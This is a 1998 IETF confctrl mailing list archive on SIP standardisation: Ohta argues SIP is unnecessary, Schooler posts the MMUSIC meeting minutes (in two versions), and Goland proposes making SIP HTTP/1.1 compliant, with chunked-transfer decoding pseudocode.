	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id TAA23878
	for <confctrl@ISI.EDU>; Wed, 22 Apr 1998 19:24:42 -0700 (PDT)
From: Masataka Ohta <mohta@necom830.hpcl.titech.ac.jp>
Message-Id: <199804230216.LAA10819@necom830.hpcl.titech.ac.jp>
Received: by necom830.hpcl.titech.ac.jp (8.6.11/TM2.1)
	id LAA10819; Thu, 23 Apr 1998 11:16:23 +0900
Subject: Re: SIP: Expires, Retry-After
To: huitema@bellcore.com (Christian Huitema)
Date: Thu, 23 Apr 98 11:16:22 JST
Cc: mohta@necom830.hpcl.titech.ac.jp, confctrl@ISI.EDU
In-Reply-To: <980422135513.ZM28906@seawind.bellcore.com>; from "Christian Huitema" at Apr 22, 98 1:55 pm
X-Mailer: ELM [version 2.3 PL11]
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Christian;

> > Can't you spend just 5 minutes to read draft-ohta-notasip-01.txt?
> 
> I did.  Well, your draft starts by saying something like:
>    The caller host somehow (through SDP URL [SDP, SDPURL] of callee's
>    home page, for example) finds the callee's IP address, UDP port
>    number (with default port number of <to be assigned by IANA>) and
>    desired encoding.
> ... which is largely what SIP is about. (or H.323 RAS.)

As SIP can't be used for large scale multicast, all the information
to initiate a session must be provided somehow without SIP, perhaps
within SDP.

Large scale multicast can not and does not use SIP.

Then, there is no reason to use SIP for unicast or small scale
multicast, becasue all the information is already there without
SIP.

> So, there is
> obviously some use for SIP, as least as a competitor to Altavista and
> Yahoo.

There is no need for SIP.

> Then, your set-up procedure is to simply send RTP packets to the right

RTP or whatever described by SDP or something like that.

> address, so that the receipient notices the address and starts replying.
>  This is certainly the minimum that one can do.

Yes.

> The problem there is
> indeed that people have grown accustomed to a couple of useful feature,

With such a logic, you can put any complex feature to IP telephony
only to make it H.323.

But, which of the features are accesible through dumb POTS?

> like being able to check who is calling before they answer the phone,

Some POTS in Japan today does offer the capability to tell from what
telephone numebr the call is inisitated. So does NOTASIP for an IP
address.

> or
> being able to redirect phone calls to different locations

Just say, IP mobility.

Or, you can update your home page or your DNS entry, if you so wishes.

The problem here is that there already are too many ways to do the
redirection.

> Just sending RTP packets won't let
> you do that.

Just sending IP packets and just rely on the Internet protocol suits.

Then, you can get whatever you want.

> Finally, as you mention, part of the problem is the operation of gateways.
>  Like it or not, this implies some compatibility with the regular POTS
> call models, with definitions of progress tones, etc.  Just one message
> does not quite cut, there.

There is no such thing as regular POTS call model except that
the common trasnport is voice.

As you experience with credit or calling card calls, various protocols
are already constructed over voice using natural languages or dial tones.

There is no point to standardize them.

							Masataka Ohta

From confctrl-owner  Thu Apr 23 10:00:26 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id KAA27199
	for confctrl-outgoing; Thu, 23 Apr 1998 10:00:26 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id KAA27194
	for <confctrl@zephyr.isi.edu>; Thu, 23 Apr 1998 10:00:24 -0700 (PDT)
Received: from vlsi.cs.caltech.edu (vlsi.cs.caltech.edu [131.215.131.129])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id KAA29445;
	Thu, 23 Apr 1998 10:00:07 -0700 (PDT)
Received: from liszt.cs.caltech.edu by vlsi.cs.caltech.edu (4.1/1.34.1)
	id AA25046; Thu, 23 Apr 98 09:59:39 PDT
Received: (from schooler@localhost)
	by liszt.cs.caltech.edu (8.8.8/8.8.7) id JAA23471;
	Thu, 23 Apr 1998 09:59:34 -0700 (PDT)
Date: Thu, 23 Apr 1998 09:59:34 -0700 (PDT)
From: Eve Schooler <schooler@cs.caltech.edu>
Message-Id: <199804231659.JAA23471@liszt.cs.caltech.edu>
To: confctrl@ISI.EDU
Subject: MMUSIC minutes
Cc: I.Brown@cs.ucl.ac.uk, jdrosen@dnrc.bell-labs.com, jo@tzi.org,
        lennox@cs.columbia.edu, mjh@ISI.EDU, rlang@std.sri.com,
        schooler@cs.caltech.edu, schulzrinne@cs.columbia.edu
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Below are the draft minutes for the MMUSIC meeting at the
LA IETF.  As I was the note taker, I'd appreciate any corrections
or other input you might have; I plan to forward them on to the
official archive tomorrow before the final deadline.

Thanks,
E.

p.s. - For now, the slides are (only) available in the sub-directory 
       ftp://ftp.isi.edu/confctrl/minutes/slides.3.98.


              Multiparty Multimedia Session Control (MMUSIC) 
                        Minutes from the 42st IETF
                             Los Angeles, CA
                              March 31, 1997                         

                                Co-Chairs

                     Mark Handley, mjh@isi.edu
                     Ruth Lang, rlang@sri.com
                     Joerg Ott, jo@tzi.org
                     Eve Schooler, schooler@cs.caltech.edu

The Multiparty Multimedia Session Control Working Group (MMUSIC) met
for one session on March 31st at the 41st IETF.  These notes, prepared 
by Eve Schooler, summarize the presentations given and recount issues 
raised and their resolution, if any, during these presentations.  An 
on-line copy of these minutes and the accompanying slides are available 
from the MMUSIC archive area ftp://ftp.isi.edu/confctrl/minutes in the 
files ietf.3.98 and slides.3.98.(tar, tar.Z}.  Individual slide presentations 
can be obtained from the directory slides.3.98.

SIP
---

Mark Handley of USC/Information Sciences Institute gave a detailed
overview of SIP status. See the accompanying slides sip.{ps,ppt}.
In particular, he focused on an improved SIP security architecture
and presented the outstanding issues that remain before SIP is to
be advanced to Proposed Standard.  As discussed at the DC IETF,
the call-control functionality has been split from the base spec
and was discussed later in the meeting.

Issues raised:

- With end-to-end encryption, if you encrypt you may not get the same 
  routing as when you do not encrypt. In addition, a Response-Key header 
  is needed for bootstrapping.

- We expect the Respone-Key namespace to be an IANA registered space and 
  to extend the HTTP authentication space.

- Note that the fields that may change go above the Authorization header.

- One recommendation was that the PGP encryption scheme should be brought in 
  line with IPSEC, both internally and externally.

- If Hide is used, how can you determine Max-Fanout?  
  Although encrypted after Via, we can still count the number.
  Questions also arose about exact semantics, i.e., could there be 
  breadth and depth aspects to it? Note that this cannot be
  controlled when multicast is used.

- For multicast requests, parameters need to be specified for the SRM-like 
  back-off behavior of respondents.  There was some concern that multicast 
  might be a source of security problems, in that a forged source 
  address might redirect ACK response traffic to another address.  To 
  limit the impact of such a scenario, only consider multicast with local 
  scope for the base specification.

- Several proposals were made regarding how to handle the receipt of
  multiple 2xx responses.  Accept (ACK) the first one that comes back, but 
  any others should lead to responses with more information (e.g.,
  the call was refused someone else picked up at the same time), which 
  can be processed more effectively by a smart user agent.  Does this 
  conflict with the call control proposal for a 3-way merge?  In either 
  case, we need to clarify that these scenarios are different.  Another 
  opinion was that because this is an example of ill-defined temporal 
  behavior, all the SIP spec should say is that at least one callee should 
  get connected.  Yet, another opinion expressed was that SIP should
  forbid that 1 INVITE leads to more than 1 callee. In any event, it was 
  suggested that the default behavior be flexible enough to support more 
  complicated call control should it be necessary later on.

- When asked if we should constrain the time when the inviter begins
  receiving voice, the consensus was that the callee should be allowed
  to start sending either when a Status message is sent by the calle
  or when an ACK is received from the caller.

- Proxies probably should be allowed to encrypt a request, but we
  do not want to encourage or set precedent that proxies mess with 
  random fields.  

- Interface addresses vs FQDNs in Via?
  Recommend FQDNs in Via, but allow interface addresses because there 
  are boxes out there that do not have FQDNs.

Once the SIP I-D freezes, an interoperability testing session is needed 
for SIP implementations.


SIP Call Control
----------------

Jonathan Lennox of Columbia University presented the latest call-control 
I-D on behalf of Henning Schulzrinne and Jonathan Rosenberg.  See the 
accompanying slides sip-cc.ps.  Much heated discussion ensued.  Overall 
it was felt that the I-D introduced complex enough behavior, with 
functionality as yet untried, that (1) considerably more detail was 
needed in the I-D and (2) implementation experience was strongly requested.

The issues raised:

- Extensions to the Location header: 
  Regarding "features=permanent", who decides what's permanent vs temporary?  
  The client doing the registration?  What's the semantic difference and
  impact (e.g., on caching) of the two?  Further details are needed.

- Call-Dispostion:
  Further clarification was requested of how Queued is supposed to 
  cause a client to behave.  One comment was that the do-not-respond option 
  would seem to change the mandatory behavior of SIP. In fact some felt 
  that SIP was not necessarily the right protocol to perform this role (which
  begins to resemble instant messages a la the NOTIFY method discussed
  in the PIPR BOF).  What happens when 2 or more of these features happen 
  at once?

- New headers Also, Replaces and Requested-by:
  How does authentication work with these headers?
  Why not use BYE in a call transfer?
  Table 1 and 2 need to clarify Location usage as R or r or both.
  Precise error messages for each scenario are still a big issue to be
  resolved.

  In terms of feature redundancy, what is the difference between an
  INVITE with an Also and Replaces (to myself), and a BYE with an Also 
  of someone else?  Although the former (INVITE with Replaces of self) 
  is rather awkward, it is legal to do a blind transfer with this mechanism.
  However, we need to be careful (e.g., with PBX's) that there remains a 
  single user in conference (imagine robot-to-robot 3rd party transfers).

- Semantics:
  (To, From, Call-Id) uniquely identifies a transaction and "leg" of a
  call.  But, some felt that this scheme overloaded the endpoint names.

  In addition, there was general discussion about the destinction between
  various identifiers: the user, session, and call ids.  In particular,
  the question was asked, what's the difference between a session and a call?  
  Does a call refer to a single "leg" or INVITE, whereas session is the 
  overall "object" among all users; or alternatively, is the call meant to 
  cover the overall conference?  In any event, clarification is needed.

- Open Issues:
  Asked how a third-party requester should be informed of the progress
  and result of a request, people felt none of the proposed solutions were 
  ideal (STATUS request, application/sip payload, 1xx responses).  It was 
  reiterated that more precise error message handling may help here.

- Examples: 
  A more palatable example other than telemarketing was requested :-) 
  In discussing the issue of transitioning from a mesh to an MCU, one 
  issue raised was if there is a method of notification of all parties 
  on the calls for meshes.


SAP Security
------------

Ian Brown from University College London reported that SAP security is 
nearly complete.  The only major change since the last IETF meeting was 
making PGP support a MUST and S/MIME support a SHOULD.  The draft currently 
references the old PGP standard (RFC 1991), which mandates RSA and IDEA 
support, both of which are encumbered algorithms.  The solution is to 
use the new version of PGP, which will be slotted in as soon as possible; 
it mandates Cast, Triple-DES and Diffie-Hellman, all of which are considered 
unencumbered.  The UCL implementation is almost done and eventually will 
support the latest version of PGP.


Status of WG documents
----------------------

* SAP - Basically SAP is ready to become an Experimental Standard.
  Although it has clear long-term scaling issues, it is probably appropriate 
  for the next 1 to 2 years.  Within a couple month timeframe, the base spec 
  will be merged with the SAP security spec.  

* SDP - After resolving outstanding namespace issues between SDP, RTP, 
  and MIME, SDP has been published as RFC 2327 and has advanced to
  Proposed Standard status.  There is some interest in drafting 
  a recommendation on SDP format parameters.

* RTSP - After being stalled on SDP-related issues, RTSP has been 
  published as RFC 2326 and has been advanced to Proposed Standard
  status.

* SIP - The I-D is on the brink of being re-issued, and should advance
  to Propose Standard within 2-3 months.

* SAP security - Will be rolled into the SAP base spec.

* SIP security - The current SIP I-D now encompasses this work.

* SIP call-control - Still a fairly controversial topic.  The natural home 
  for this work was SIPTEL, but now that SIPTEL has become IPTEL, call
  control is no longer in the charter.  For now, the work will carry on in 
  the MMUSIC working group, but we will collect feedback on a long term 
  home for it.

* Conference Architecture - This I-D is more or less done.  We simply 
  need to make sure that it is an accurate representation of what really
  exists now  --  as it was originally drafted a couple years ago.

* ITU Interoperability - A moving target!  This draft has expired.  
  If rewritten, should it aim to describe what goes in a gateway between 
  MMUSIC and ITU protocols (H.323 and H.245)?  The major concern is that 
  we should not get into this business.  One suggestion is to re-activate 
  the I-D in IPTEL, if and when several gateway implementations have emerged.  
  One Transport AD advised that such a document was not necessarily needed at 
  this point.  However, others thought an I-D that served to compare and 
  contrast MMUSIC and ITU approaches might be useful.

* SCCP - The simple conference control protocol continues evolution as
  it undergoes implementation.  We hope to re-issue the I-D before next IETF.

* The Agreement Protocol - An early I-D in the WG, which has since
  expired.  It is closer in spirit to SCCP, in that it supports 
  general mechanisms for closer coordination sessions with varying policies.  
  There are no current plans to resurrect it, but there is sporadic 
  interest in continuing the work.  One related suggestion was to 
  extend SDP to carry more complicated policy information.

* Conference or Coordination Bus - The idea that there exists a local 
  coordination protocol among components on a single host (e.g., among
  media agents such as audio and video and shared workspaces, which
  might be used to implement voice-to-follow-video operation, or floor
  control, etc.). Is this a protocol the working group should take on?


From confctrl-owner  Fri Apr 24 12:42:33 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id MAA11962
	for confctrl-outgoing; Fri, 24 Apr 1998 12:42:33 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id MAA11957
	for <confctrl@zephyr.isi.edu>; Fri, 24 Apr 1998 12:42:31 -0700 (PDT)
Received: from vlsi.cs.caltech.edu (vlsi.cs.caltech.edu [131.215.131.129])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id MAA15006;
	Fri, 24 Apr 1998 12:42:26 -0700 (PDT)
Received: from liszt.cs.caltech.edu by vlsi.cs.caltech.edu (4.1/1.34.1)
	id AA05393; Fri, 24 Apr 98 12:40:14 PDT
Received: (from schooler@localhost)
	by liszt.cs.caltech.edu (8.8.8/8.8.7) id MAA26041;
	Fri, 24 Apr 1998 12:40:08 -0700 (PDT)
Date: Fri, 24 Apr 1998 12:40:08 -0700 (PDT)
From: Eve Schooler <schooler@cs.caltech.edu>
Message-Id: <199804241940.MAA26041@liszt.cs.caltech.edu>
To: dwalker@ietf.org
Subject: MMUSIC minutes
Cc: confctrl@ISI.EDU, jo@tzi.org, mjh@ISI.EDU, rlang@std.sri.com,
        schooler@cs.caltech.edu, sob@harvard.edu, vern@ee.lbl.gov
In-Reply-To: <353F96AE.1AB3F7E9@ietf.org>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi,

Below are the minutes for the MMUSIC meeting at the LA IETF.  
The accompanying slides are:

  //ftp.isi.edu/confctrl/minutes/slides.3.98/sip.{ps,ppt}
  //ftp.isi.edu/confctrl/minutes/slides.3.98/sip-cc.ps

Within the next day or so, these will be located in the places
listed in the minutes themselves. 

Thanks,
E.


              Multiparty Multimedia Session Control (MMUSIC) 
                        Minutes from the 41st IETF
                             Los Angeles, CA
                              March 31, 1997                         

                                Co-Chairs

                     Mark Handley, mjh@isi.edu
                     Ruth Lang, rlang@sri.com
                     Joerg Ott, jo@tzi.org
                     Eve Schooler, schooler@cs.caltech.edu

The Multiparty Multimedia Session Control Working Group (MMUSIC) met
for one session on March 31st at the 41st IETF.  These notes, prepared 
by Eve Schooler, summarize the presentations given and recount issues 
raised and their resolution, if any, during these presentations.  An 
on-line copy of these minutes and the accompanying slides are available 
from the MMUSIC archive area ftp://ftp.isi.edu/confctrl/minutes in the 
files ietf.3.98 and slides.3.98.{tar, tar.Z}.  Individual slide presentations 
can be obtained from the directory slides.3.98.

SIP
---

Mark Handley of USC/Information Sciences Institute gave a detailed
overview of SIP status. See the accompanying slides sip.{ps,ppt}.
In particular, he focused on an improved SIP security architecture
and presented the outstanding issues that remain before SIP is to
be advanced to Proposed Standard.  As discussed at the DC IETF,
the call-control functionality has been split from the base spec
and was discussed later in the meeting.

Issues raised:

- With end-to-end encryption, if you encrypt you may not get the same 
  routing as when you do not encrypt. In addition, a Response-Key header 
  is needed for bootstrapping.

- We expect the Respone-Key namespace to be an IANA registered space and 
  to extend the HTTP authentication space.

- Note that the fields that may change go above the Authorization header.

- One recommendation was that the PGP encryption scheme should be brought in 
  line with IPSEC, both internally and externally.

- If Hide is used, how can you determine Max-Fanout?  
  Although encrypted after Via, we can still count the number.
  Questions also arose about exact semantics, i.e., could there be 
  breadth and depth aspects to it? Note that this cannot be
  controlled when multicast is used.

- For multicast requests, parameters need to be specified for the SRM-like 
  back-off behavior of respondents.  There was some concern that multicast 
  might be a source of security problems, in that a forged source 
  address might redirect ACK response traffic to another address.  To 
  limit the impact of such a scenario, only consider multicast with local 
  scope for the base specification.

- Several proposals were made regarding how to handle the receipt of
  multiple 2xx responses.  Accept (ACK) the first one that comes back, but 
  any others should lead to responses with more information (e.g.,
  the call was refused someone else picked up at the same time), which 
  can be processed more effectively by a smart user agent.  Does this 
  conflict with the call control proposal for a 3-way merge?  In either 
  case, we need to clarify that these scenarios are different.  Another 
  opinion was that because this is an example of ill-defined temporal 
  behavior, all the SIP spec should say is that at least one callee should 
  get connected.  Yet, another opinion expressed was that SIP should
  forbid that 1 INVITE leads to more than 1 callee. In any event, it was 
  suggested that the default behavior be flexible enough to support more 
  complicated call control should it be necessary later on.

- When asked if we should constrain the time when the inviter begins
  receiving voice, the consensus was that the callee should be allowed
  to start sending either when a Status message is sent by the calle
  or when an ACK is received from the caller.

- Proxies probably should be allowed to encrypt a request, but we
  do not want to encourage or set precedent that proxies mess with 
  random fields.  

- Interface addresses vs FQDNs in Via?
  Recommend FQDNs in Via, but allow interface addresses because there 
  are boxes out there that do not have FQDNs.

Once the SIP I-D freezes, an interoperability testing session is needed 
for SIP implementations.


SIP Call Control
----------------

Jonathan Lennox of Columbia University presented the latest call-control 
I-D on behalf of Henning Schulzrinne and Jonathan Rosenberg.  See the 
accompanying slides sip-cc.ps.  Much heated discussion ensued.  Overall 
it was felt that the I-D introduced complex enough behavior, with 
functionality as yet untried, that (1) considerably more detail was 
needed in the I-D and (2) implementation experience was strongly requested.

The issues raised:

- Extensions to the Location header: 
  Regarding "features=permanent", who decides what's permanent vs temporary?  
  The client doing the registration?  What's the semantic difference and
  impact (e.g., on caching) of the two?  Further details are needed.

- Call-Dispostion:
  Further clarification was requested of how Queued is supposed to 
  cause a client to behave.  One comment was that the do-not-respond option 
  would seem to change the mandatory behavior of SIP. In fact some felt 
  that SIP was not necessarily the right protocol to perform this role (which
  begins to resemble instant messages a la the NOTIFY method discussed
  in the PIPR BOF).  What happens when 2 or more of these features happen 
  at once?

- New headers Also, Replaces and Requested-by:
  How does authentication work with these headers?
  Why not use BYE in a call transfer?
  Table 1 and 2 need to clarify Location usage as R or r or both.
  Precise error messages for each scenario are still a big issue to be
  resolved.

  In terms of feature redundancy, what is the difference between an
  INVITE with an Also and Replaces (to myself), and a BYE with an Also 
  of someone else?  Although the former (INVITE with Replaces of self) 
  is rather awkward, it is legal to do a blind transfer with this mechanism.
  However, we need to be careful (e.g., with PBX's) that there remains a 
  single user in conference (imagine robot-to-robot 3rd party transfers).

- Semantics:
  (To, From, Call-Id) uniquely identifies a transaction and "leg" of a
  call.  But, some felt that this scheme overloaded the endpoint names.

  In addition, there was general discussion about the destinction between
  various identifiers: the user, session, and call ids.  In particular,
  the question was asked, what's the difference between a session and a call?  
  Does a call refer to a single "leg" or INVITE, whereas session is the 
  overall "object" among all users; or alternatively, is the call meant to 
  cover the overall conference?  In any event, clarification is needed.

- Open Issues:
  Asked how a third-party requester should be informed of the progress
  and result of a request, people felt none of the proposed solutions were 
  ideal (STATUS request, application/sip payload, 1xx responses).  It was 
  reiterated that more precise error message handling may help here.

- Examples: 
  A more palatable example other than telemarketing was requested :-) 
  In discussing the issue of transitioning from a mesh to an MCU, one 
  issue raised was if there is a method of notification of all parties 
  on the calls for meshes.


SAP Security
------------

Ian Brown from University College London reported that SAP security is 
nearly complete.  The only major change since the last IETF meeting was 
making PGP support a MUST and S/MIME support a SHOULD.  The draft currently 
references the old PGP standard (RFC 1991), which mandates RSA and IDEA 
support, both of which are encumbered algorithms.  The solution is to 
use the new version of PGP, which will be slotted in as soon as possible; 
it mandates Cast, Triple-DES and Diffie-Hellman, all of which are considered 
unencumbered.  The UCL implementation is almost done and eventually will 
support the latest version of PGP.


Status of WG documents
----------------------

* SAP - Basically SAP is ready to become an Experimental Standard.
  Although it has clear long-term scaling issues, it is probably appropriate 
  for the next 1 to 2 years.  Within a couple month timeframe, the base spec 
  will be merged with the SAP security spec.  

* SDP - After resolving outstanding namespace issues between SDP, RTP, 
  and MIME, SDP has been published as RFC 2327 and has advanced to
  Proposed Standard status.  There is some interest in drafting 
  a recommendation on SDP format parameters.

* RTSP - After being stalled on SDP-related issues, RTSP has been 
  published as RFC 2326 and has been advanced to Proposed Standard
  status.

* SIP - The I-D is on the brink of being re-issued, and should advance
  to Propose Standard within 2-3 months.

* SAP security - Will be rolled into the SAP base spec.

* SIP security - The current SIP I-D now encompasses this work.

* SIP call-control - Still a fairly controversial topic.  The natural home 
  for this work was SIPTEL, but now that SIPTEL has become IPTEL, call
  control is no longer in the charter.  For now, the work will carry on in 
  the MMUSIC working group, but we will collect feedback on a long term 
  home for it.

* Conference Architecture - This I-D is more or less done.  We simply 
  need to make sure that it is an accurate representation of what really
  exists now  --  as it was originally drafted a couple years ago.

* ITU Interoperability - A moving target!  This draft has expired.  
  If rewritten, should it aim to describe what goes in a gateway between 
  MMUSIC and ITU protocols (H.323 and H.245)?  The major concern is that 
  we should not get into this business.  One suggestion is to re-activate 
  the I-D in IPTEL, if and when several gateway implementations have emerged.  
  One Transport AD advised that such a document was not necessarily needed at 
  this point.  However, others thought an I-D that served to compare and 
  contrast MMUSIC and ITU approaches might be useful.

* SCCP - The simple conference control protocol continues evolution as
  it undergoes implementation.  We hope to re-issue the I-D before next IETF.

* The Agreement Protocol - An early I-D in the WG, which has since
  expired.  It is closer in spirit to SCCP, in that it supports 
  general mechanisms for closer coordination sessions with varying policies.  
  There are no current plans to resurrect it, but there is sporadic 
  interest in continuing the work.  One related suggestion was to 
  extend SDP to carry more complicated policy information.

* Conference or Coordination Bus - The idea that there exists a local 
  coordination protocol among components on a single host (e.g., among
  media agents such as audio and video and shared workspaces, which
  might be used to implement voice-to-follow-video operation, or floor
  control, etc.). Is this a protocol the working group should take on?


From confctrl-owner  Sun Apr 26 00:12:29 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id AAA10782
	for confctrl-outgoing; Sun, 26 Apr 1998 00:12:29 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id AAA10777
	for <confctrl@zephyr.isi.edu>; Sun, 26 Apr 1998 00:12:27 -0700 (PDT)
Received: from daffy.ee.lbl.gov (daffy.ee.lbl.gov [131.243.1.31])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id AAA14343
	for <confctrl@ISI.EDU>; Sun, 26 Apr 1998 00:12:26 -0700 (PDT)
Received: by daffy.ee.lbl.gov (8.8.8/8.8.5)
	id AAA13394; Sun, 26 Apr 1998 00:12:24 -0700 (PDT)
Message-Id: <199804260712.AAA13394@daffy.ee.lbl.gov>
To: confctrl <confctrl@ISI.EDU>, pint@lists.research.bell-labs.com
Subject: April 27-28 EMA meeting?
Date: Sun, 26 Apr 1998 00:12:24 PDT
From: Vern Paxson <vern@ee.lbl.gov>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

I'm trying to get a sense of who from the IETF community is attending the
Anaheim EMA (Electronic Messaging Association) meeting next Monday and
Tuesday.  If you are, I'd appreciate it if you'd drop me a quick note.

	Thanks,

		Vern	(wearing my AD hat)

From confctrl-owner  Tue Apr 28 01:11:29 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id BAA27785
	for confctrl-outgoing; Tue, 28 Apr 1998 01:11:29 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id BAA27780
	for <confctrl@zephyr.isi.edu>; Tue, 28 Apr 1998 01:11:28 -0700 (PDT)
Received: from mail3.microsoft.com (mail3.microsoft.com [131.107.3.23])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id BAA19885
	for <confctrl@isi.edu>; Tue, 28 Apr 1998 01:11:27 -0700 (PDT)
Received: by INET-03-IMC with Internet Mail Service (5.5.1960.3)
	id <JT26HWV8>; Tue, 28 Apr 1998 01:11:27 -0700
Message-ID: <3FF8121C9B6DD111812100805F31FC0D02971260@red-msg-59.dns.microsoft.com>
From: Yaron Goland <yarong@microsoft.com>
To: "'confctrl@isi.edu'" <confctrl@ISI.EDU>
Subject: My Comments on SIP
Date: Tue, 28 Apr 1998 01:11:23 -0700
X-Mailer: Internet Mail Service (5.5.1960.3)
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

As promised here are my comments. I figure dumping a 15 page e-mail wouldn't
be terribly productive so I have split it up into several e-mails. Note that
this file was originally a Word file. If you would like that file just send
me e-mail.

BTW these comments are based on version 5 of the spec.

1 SIP and HTTP/1.1

My interest in SIP has absolutely nothing to do with what SIP was designed
for, IP telephony and related technologies. SIP, H 323, etc. are all
completely foreign to me. Rather my interest is strictly based on SIP's
solutions to certain problems that are facing the HTTP community today.

As such you will find that my comments do not address SIP's ultimate purpose
of sending session invitations. Rather these comments address the underlying
infrastructure that SIP had to create in order to implement its desired
functionality.

The ultimate goal of this paper is to make SIP's infrastructure available
for all users of HTTP.

I believe that SIP would benefit greatly if it choose to become HTTP
compliant. Specifically, it would be able to leverage the existing server
and client side HTTP development infrastructure as well the deployed
security and proxy infrastructure. Additionally it would benefit from the
many enhancements different groups are making to HTTP.

If SIP should decide to not become HTTP compliant then rather than lose the
great work that has been done in SIP, a group of us will most likely take
the spec, split it up as I specify below and work from there. Given how
closely SIP provides many of HTTP's needs, it would be silly to just throw
this great work away.

I think that would be unfortunate. It would most likely rob us of access to
the expertise that created the spec in the first place and it would condemn
the SIP protocol to live in a weird netherworld of being almost HTTP
compliant but not quite.

While there are some costs to becoming HTTP compliant, I have done my best
to explain them in detail below, I believe they are well worth paying.

		Sincerely,

				Yaron Y. Goland

2 Four Way Split

The SIP spec represents four different sets of functionality, Encryption,
UDP/Multicast, Notifications, and SIP.

I believe that physically separating the SIP spec into four component specs
would better server the needs of the Internet community by allowing each bit
of functionality to be examined on its own merits and to be leveraged,
independent of the others, by those who needed the functionality.

2.1 Encryption Header

Encryption deserves a specification of its own so that it can be carefully
considered independently of SIP. As specified today the encryption header is
compliant with HTTP/1.1. As such a separate spec would provide a definition
that can be leveraged by both HTTP/1.1 and SIP.

2.2 UDP/Multicast

HTTP desperately needs a spec that describes how to send HTTP over UDP and
Multicast. You have created in SIP the foundation for that spec. You would
be doing the universe a great favor if you broke this functionality out into
its own spec so everyone could leverage it. BTW this spec would contain ACK.

2.3 Notifications

Just change the header "call-id" to "reg-set" or "notify-id" or whatever and
you have a fully scalable notification system that can handle point to
point, multicast, UDP, single party and multi-party notifications. What is
the difference between INVITE and NOTIFY? Nada. This spec would contain the
Cancel and Register methods.

2.4 SIP 

SIP is built on the three previous sets and basically adds the BYE and
INVITE.


From confctrl-owner  Tue Apr 28 01:14:51 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id BAA27807
	for confctrl-outgoing; Tue, 28 Apr 1998 01:14:51 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id BAA27802
	for <confctrl@zephyr.isi.edu>; Tue, 28 Apr 1998 01:14:50 -0700 (PDT)
Received: from mail4.microsoft.com (mail4.microsoft.com [131.107.3.29])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id BAA19964
	for <confctrl@isi.edu>; Tue, 28 Apr 1998 01:14:49 -0700 (PDT)
Received: by INET-04-IMC with Internet Mail Service (5.5.1960.3)
	id <JVK7JA95>; Tue, 28 Apr 1998 01:14:50 -0700
Message-ID: <3FF8121C9B6DD111812100805F31FC0D02971261@red-msg-59.dns.microsoft.com>
From: Yaron Goland <yarong@microsoft.com>
To: "'confctrl@isi.edu'" <confctrl@ISI.EDU>
Subject: Making SIP HTTP/1.1 Compliant
Date: Tue, 28 Apr 1998 01:14:47 -0700
X-Mailer: Internet Mail Service (5.5.1960.3)
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

3 Making SIP HTTP/1.1 Compliant

HTTP does not have a lot of mandatory requirements. Requirements in HTTP are
generally written in the form "If you support this feature then you MUST do
the following." However if you don't support the feature then no action is
required.

For example, Scott Lawrence from Agranat was telling me that he has a fully
functioning 100% compliant extremely HTTP/1.1 server that is 24k long. He
imbeds it in things like printers.

The biggest misconception I ran into when talking to people involved with
SIP is that being HTTP/1.1 compliant meant having to support GET and PUT or
the other HTTP/1.1 methods. This is not the case. There is no requirement in
HTTP/1.1 to support ANY methods. So a SIP HTTP/1.1 server would ONLY support
SIP methods.

Below I have listed the minor additions needed to make SIP clients and
servers HTTP/1.1 compliant. Proxies become compliant when they meet the
requirements for both clients and servers.

3.1 New Client Requirements

3.1.1 Chunked Transfer

Clients must be able to receive chunked transfers. They do not have to be
able to send them. A chunked transfer is basically a series of length
encoded strings. They are used when the server is sending dynamic data.

The following algorithm taken from section 19.4.6 of the latest HTTP/1.1
draft describes how to decode a chunked transfer:

length := 0
read chunk-size, chunk-extension (if any) and CRLF
while (chunk-size > 0) {
	read chunk-data and CRLF
	append chunk-data to entity-body
	length := length + chunk-size
	read chunk-size and CRLF
}
read entity-header
while (entity-header not empty) {
	append entity-header to existing header fields
	read entity-header
}
Content-Length := length
Remove "chunked" from Transfer-Encoding

3.1.2 Host Header

HTTP/1.1 requires the use of the HOST header with every request. If you
switch to HTTP/1.1 you will be using HTTP URLs in the request-URI anyway so
supporting HOST is trivial. For example, if you are communicating with
http://sipserver/jake then the request-URI becomes /jake and the host header
is Host: sipserver.

Note, BTW, as I specify below, that you can still use a SIP URL in the
request-URI, if you want to. I advise against it but it is legal.

3.2 New Server Requirements

3.2.1 Chunked Transfer

HTTP/1.1 servers are not required to be able to receive chunked transfers
but they MUST be able to recognize that someone is sending them a chunked
transfer and fail the request properly. To do this the server needs to
recognize the transfer-encoding header and at the most basic, fail any
request that contains it.

3.2.2 Host Header

Obviously if HTTP/1.1 clients are sending Host headers the server needs to
be able to receive them.

3.3 SIP Protocol Changes

3.3.1 4.3 Request-URI

